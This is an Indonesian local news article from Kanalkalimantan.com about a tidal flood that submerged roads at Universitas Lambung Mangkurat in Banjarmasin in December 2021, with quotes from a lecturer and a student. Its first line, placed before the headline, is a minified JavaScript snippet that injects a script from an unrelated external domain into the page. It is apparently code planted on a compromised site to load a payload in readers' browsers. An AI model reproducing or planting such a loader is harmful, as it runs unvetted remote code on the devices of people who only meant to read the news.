(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Banjir Rob Rendam Kampus ULM, Mahasiswa Terpaksa Pakai Sandal


KANALKALIMANTAN.COM, BANJARMASIN – Banjir rob (pasang) merendam kampus Universitas Lambung Mangkurat (ULM) Banjarmasin, Rabu (8/12/2021) pagi. Jalan Brigjen H Hasan Basry depan pintu gerbang utama kampus terendam air hingga 50 Cm.

Sebelumnya hujan deras disertai angin kencang terjadi pada Rabu (8/12/2021) pukul 01.00 dini hari. Hujan yang deras yang mengguyur kota Banjarmasin hampir terjadi secara merata. Ditambah kenaikan air pasang laut di Banjarmasin memperparah rendaman air pada sejumlah titik di kota Banjarmasin. Kawasan kampus ULM yang berada di Kayu Tangi tergenang air dengan ketinggian air bervariasi antara 40 hingga 60 Cm.

Banjir rob mulai naik ke permukiman warga pada dini hari, seperti yang dialami warga yang tinggal di kawasan Teluk Tiram, Kecamatan Banjarmasin Barat langsung membuat warga terjaga dari tidur lelapnya dan langsung mengamankan harta benda ke tempat yang aman.

Hujan deras yang berlangsung selama hampir 2 jam ini langsung membuat ruas-ruas jalan tergenang air.

 

 

Baca juga: Menimba Ilmu Parenting dan Literasi Anak, Ria Enes: Tunjukkan Kita Ada untuk Anak!

Dari pantauan Kanalkalimantan.com di kampus ULM Banjarmasin,
Rabu (8/12/2021) pukul 10.00 Wita, hampir seluruh kawasan kampus dari pintu gerbang masuk hingga ruas-ruqs jalan di dalam kampus ULM tergenang air kedalam 40 cm.

Salah satu dosen dari Fakultas Teknik ULM Akbar Rahman ST MT kepada kanalkalimantan.com mengakui, banjir pasang terjadi sejak dini hari, hingga menggenangi permukaan jalan di kampus tempatnya mengajar.

“Untuk saat ketinggian air yang menutupi permukaan jalan di kampus ULM mencapai 40 cm, namun saat ini kegiatan perkuliahan mahasiswa masih menggunakan sistem Online,” beber Akbar Rahman.

Baca juga: Jaksa Bebaskan Pencuri Susu di Banjarmasin dari Tuntutan Hukum, Kasus Dihentikan

Banjir rob yang terjadi di kampus ULM juga membuat kaget mahasiswa, salah satunya Farhan mahasiswa Fakultas Ekonomi yang ingin mengumpulkan berkas tugas kuliah ke kampus harus mengalami sepatunya basah karena semua jalan menuju kampus menggenangi permukaan jalan.

“Saya hari ini mau ngurus berkas tugas kuliah ke Prodi, pas lewat jalan kampus tadi sudah banjir, mulai dari pintu gerbang masuk utama, makanya saya pakai sandal karena sepatu basah,” keluh Farhan. (kanalkalimantan.com/ seno)

Reporter : seno
Editor : bie


Risa

Recent Posts

‎PCNU Alabio Salurkan Bantuan Korban Banjir di Desa Pondok Babaris

KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More

15 jam ago

Represifitas Aparat saat Unjuk Rasa Mahasiswa di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More

23 jam ago

Pemkab Kapuas Siapkan Data dan Regulasi Dukung Program 3 Juta Rumah

KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More

1 hari ago

Unjuk Rasa Mahasiswa di Rumah Banjar Cuma Satu Wakil Rakyat Muncul

KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More

1 hari ago

Sekda Kapuas Pimpin Rakor Laporan Kinerja Pelaksanaan PRO-SN 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More

1 hari ago

Jaminan Kesejahteraan untuk PPPK, Pemkab Kapuas Rapat Bersama PT Taspen

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More

2 hari ago

This website uses cookies.